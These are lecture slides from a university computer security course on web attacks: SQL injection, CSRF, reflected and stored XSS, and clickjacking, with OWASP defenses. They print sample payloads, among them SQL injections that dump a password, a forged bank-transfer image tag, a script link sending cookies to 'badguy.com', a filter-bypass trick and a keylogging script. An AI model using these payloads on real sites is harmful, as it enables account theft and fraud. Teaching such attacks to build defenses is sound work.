Web Attacks, con't

CS 161: Computer Security

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http://inst.eecs.berkeley.edu/~cs161/

February 24, 2011

Announcements

- Guest lecture a week from Thursday (March 3rd), Prof. David Wagner
  - Correction: material will not be in scope for the Midterm
- My office hours the week of March 7th will be by appointment
- Homework #2 should be out by tonight, due in 1 week

Goals For Today

- Make previously discussed web attacks concrete
  - SQL injection
  - Cross-site request forgery (CSRF)
  - Reflected cross-site scripting (XSS)
- Illustrate additional web attacks
  - Stored XSS
  - Clickjacking
- … and discuss defenses

SQL Injection Scenario

- Suppose web server front end stores URL parameter "`recipient`" in variable `$recipient` and then builds up a string with the following SQL query:

```
$sql = "SELECT PersonID FROM Person
        WHERE Balance < 100 AND
         Username='$recipient' ";
```

- How can recipient cause trouble here?
  - How can we see anyone's account?

SQL Injection Scenario, con't

```
WHERE Balance < 100 AND
                Username='$recipient'; "
```

- $recipient = foo' OR 1=1; --

  ```
  WHERE Balance < 100 AND
                  Username='foo' OR 1=1; --' "
  ```

- *Precedence* & "--" (comment) makes this:

  ```
  WHERE (Balance < 100 AND
                  Username='foo') OR 1=1;
  ```

- Always true!

Demo Tools

- *Bro*: freeware network monitoring tool
  - Scriptable
  - Primarily designed for real-time intrusion detection
  - `www.bro-ids.org`
- *Squigler*
  - Cool "`localhost`" web site(s) (Python/SQLite)
  - Developed by Arel Cordero
  - Let me know if you'd like a copy to play with

```
def post_squig(user, squig):
    if not user or not squig: return
    conn = sqlite3.connect(DBFN)
    c    = conn.cursor()
    c.executescript("INSERT INTO squigs VALUES
           ('%s', '%s', datetime('now'));" %
                                (user, squig))
    conn.commit()
    c.close()
```

Server code for posting a “squig”

```
INSERT INTO squigs VALUES
     (dilbert, 'don't contractions work?',
      date);
```

Syntax error

```
INSERT INTO squigs VALUES
      (dilbert, '' || (select password from accounts where
username='bob') || '',
       date);
```

```
INSERT INTO squigs VALUES
      (dilbert, '' || (select password from accounts where
username='bob') || '',
       date);
```

Empty string literals

```
INSERT INTO squigs VALUES
      (dilbert, '' || (select password from accounts where
username='bob') || '',
       date);
```

Concatenation operator.

Concatenation of string **S** with empty string is just **S**

```
INSERT INTO squigs VALUES
      (dilbert, (select password from accounts where
username='bob'),
       date);
```

Value of the squig will be Bob's password!

Web Accesses w/ Side Effects

- Recall our earlier banking URL:

```
http://mybank.com/moneyxfer.cgi?account=alice&amt=50&to=bob
```

- So what happens if we visit `evilsite.com`, which includes:

```
<img src="http://mybank.com/moneyxfer.cgi?
     Account=alice&amt=500000&to=DrEvil">
```

- *Cross-Site Request Forgery* (**CSRF**) attack

URL fetch for posting a *squig*

```
Request (to 127.0.0.1/8080): GET
    /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert
    &squig=squigs+speak+a+deep+truth
HOST: "localhost:8080"
REFERER:"http://localhost:8080/userpage?user=dilbert"
COOKIE: "session_id=5321506"
```

Web action with *side effect*

URL fetch for posting a *squig*

```
Request (to 127.0.0.1/8080): GET
    /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert
    &squig=squigs+speak+a+deep+truth
HOST: "localhost:8080"
REFERER:"http://localhost:8080/userpage?user=dilbert"
COOKIE: "session_id=5321506"
```

Authenticated with cookie that browser automatically sends along

Subversive Script Execution

Cross-Site Scripting (*XSS*)

- Attacker's goal: cause victim's browser to execute Javascript written by the attacker …
- … but with the browser believing that the script instead was sent by a trust server `mybank.com`
  - In order to circumvent the Same Origin Policy (SOP), which will prevent the browser from letting Javascript received directly from `evil.com` to have full access to content from `mybank.com`
- (Do not confuse with CSRF! CSRF is about web requests with side effects; XSS is about getting Javascript treated as though a trusted server sent it)

The Setup

- User input is echoed into HTML response.

- *Example*: search field
  - **http://victim.com/search.php?term=apple**
  - search.php responds with:

```
<HTML>    <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY>   </HTML>
```

- How can an attacker exploit this?

Injection Via Bad Input

- Consider link: (properly URL encoded)

```
http://victim.com/search.php?term=
  <script> window.open(
       "http://badguy.com?cookie = " +
       document.cookie )  </script>
```

What if user clicks on this link?

1) Browser goes to `victim.com/search.php`
2) `victim.com` returns

   `<HTML> Results for <script> … </script> …`

3) Browser executes script *in same origin* as `victim.com`

   Sends `badguy.com` cookie for `victim.com`

   Or any other **arbitrary execution / rewrite `victim.com` page**

Demo on

(1) ***Finding*** and

(2) ***Exploiting***

Reflected XSS vulnerabilities

Cross-Site Scripting (XSS)

Victim client

Cross-Site Scripting (XSS)



Cross-Site Scripting (XSS)

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

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

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

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

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

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

Syndicate

R Domains already xss'ed.
S Famous and Government web sites.
F Status: Fixed/Unfixed.
PR Pagerank by Alexa®.
You can subscribe to our mailing list to receive alerts by mail.

Date	Author	Domain	R	S	F	PR	Category	Mirror
21/02/11	LostBrilliance	audience.cnn.com	R	★	✗	53	XSS	mirror
21/02/11	db	freedns.afraid.org		★	✗	8834	XSS	mirror
19/02/11	h3rcul3s	cwg2010.indianexpress.com		★	✗	2942	XSS	mirror
18/02/11	Yeyah	app.email.skype.com		★	✗	189	XSS	mirror
17/02/11	warvector	www.level3.com		★	✗	53575	XSS	mirror
17/02/11	SeeMe	api.screenname.aol.com		★	✗	51	XSS	mirror

Stored Cross-Site Scripting

Attack Server

Stored Cross-Site Scripting



Stored Cross-Site Scripting

User Victim

Attack Server

1

Inject malicious script

Server Patsy/Victim

Stored Cross-Site Scripting



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

Stored Cross-Site Scripting

User Victim

Attack Server

1 Inject malicious script

2 request content

3 receive malicious script

Server Patsy/Victim

4 execute script embedded in input *as though server meant us to run it*

Stored Cross-Site Scripting



Stored Cross-Site Scripting



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

Stored XSS Example: FaceSpace.com

- Users can post HTML on their pages
- FaceSpace.com ensures HTML contains no

  `<script>, <body>, onclick, <a href=javascript://>`

- … but, say, can do Javascript within CSS tags:

  `<div style="background:url('javascript:alert(1)')">`

- … and can hide `"javascript"` as `"java\nscript"`

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Server Patsy/Victim

Makes a wall comment (say) that includes a script snippet

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Server Patsy/Victim

Visits the same wall

User Victim

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Server Patsy/Victim

Run arbitrary X in full FaceSpace context

User Victim

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Server Patsy/Victim

User Victim

Exfiltrate data to attacker and/or make arb. FaceSpace changes

Demo on

(1) ***Finding*** and

(2) ***Exploiting***

Stored XSS vulnerabilities

Squig that does key-logging of anyone viewing it!

```
Keys pressed: <span id="keys"></span>
<script>
  document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    document.getElementById("keys").innerHTML += key;
    }
</script>
```

Protecting Servers Against XSS (OWASP)

- OWASP = *Open Web Application Security Project*
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  - Do *not* attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.

Protecting Servers Against XSS (OWASP)

- OWASP = *Open Web Application Security Project*
- The best way to protect against XSS attacks:

Use *White-listing*

  - Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be *allowed*.

Beware *Black-listing*

  - Do *not* attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
  - We [= OWASP] strongly recommend a 'positive' security policy that specifies what is allowed. 'Negative' or attack signature based policies are difficult to maintain and are likely to be incomplete.

Client-side? HARD

Attacks on User *Volition*

- Browser assumes clicks & keystrokes = *clear indication of what the user wants to do*
  - Constitutes part of the user's *trusted path*
- Attack #1: commandeer the focus of user-input


zarro
Toles
Joy of ...
My
System scan progress
Shared Documents
97 trojans
My Docume
334 tro
Hard drives
Local Disk (C:)
353 trojans
Local Disk (D:)
78 trojans
DVD
DVD-RAM Drive (E:)
100%
Scan procedures finished. 431 Probably harmfull items was
Your Computer is Infected!
Threats and actions:
Name
Risk level
Date
Files infected
State
Email-Worm.Win32.Net
Critical
11.18.2008
36
Waiting removal
Email-Worm.Win32.Myd
Critical
11.18.2008
65
Waiting removal
Win 32:Delf-XQ
Critical
11.18.2008
44
Waiting removal
Description:
This program is potentially dangerous for your system. Trojan-Downloader stealing passwords, credit cards and other personal information from your computer.
Advice:
You need to remove this threat as soon as possible!
Full system cleanup
http://protection-check07.com
Potentially dangerous software. These programs may damage your computer and steal your private information. Online Security Checker needs Personal Antivirus components to repair your computer. Please click Ok to download and install Personal Antivirus tool.
OK
http://protection-check07.com
Your computer remains infected by threats! They might lead to data loss and file structure damage, and needed to be heal as soon as possible.
Return to Personal Antivirus and download it secure to your PC
Cancel
OK

SEPTEMBER 14, 2009

New York Times tricked into serving scareware ad

Fake Vonage ad was placed to the newspaper's Digital Advertising group

article, he performed an analysis of the site and discovered that the Times was allowing advertisers to embed an HTML element known as an iframe into their advertisements. This gave the criminals a way to include embedded Web pages in their copy that could be hosted on a completely different server, outside of the control of the Times.

Apparently the scammers waited until the weekend, when it would be hardest for IT staff to respond, before switching the ad by inserting new JavaScript code into that iframe.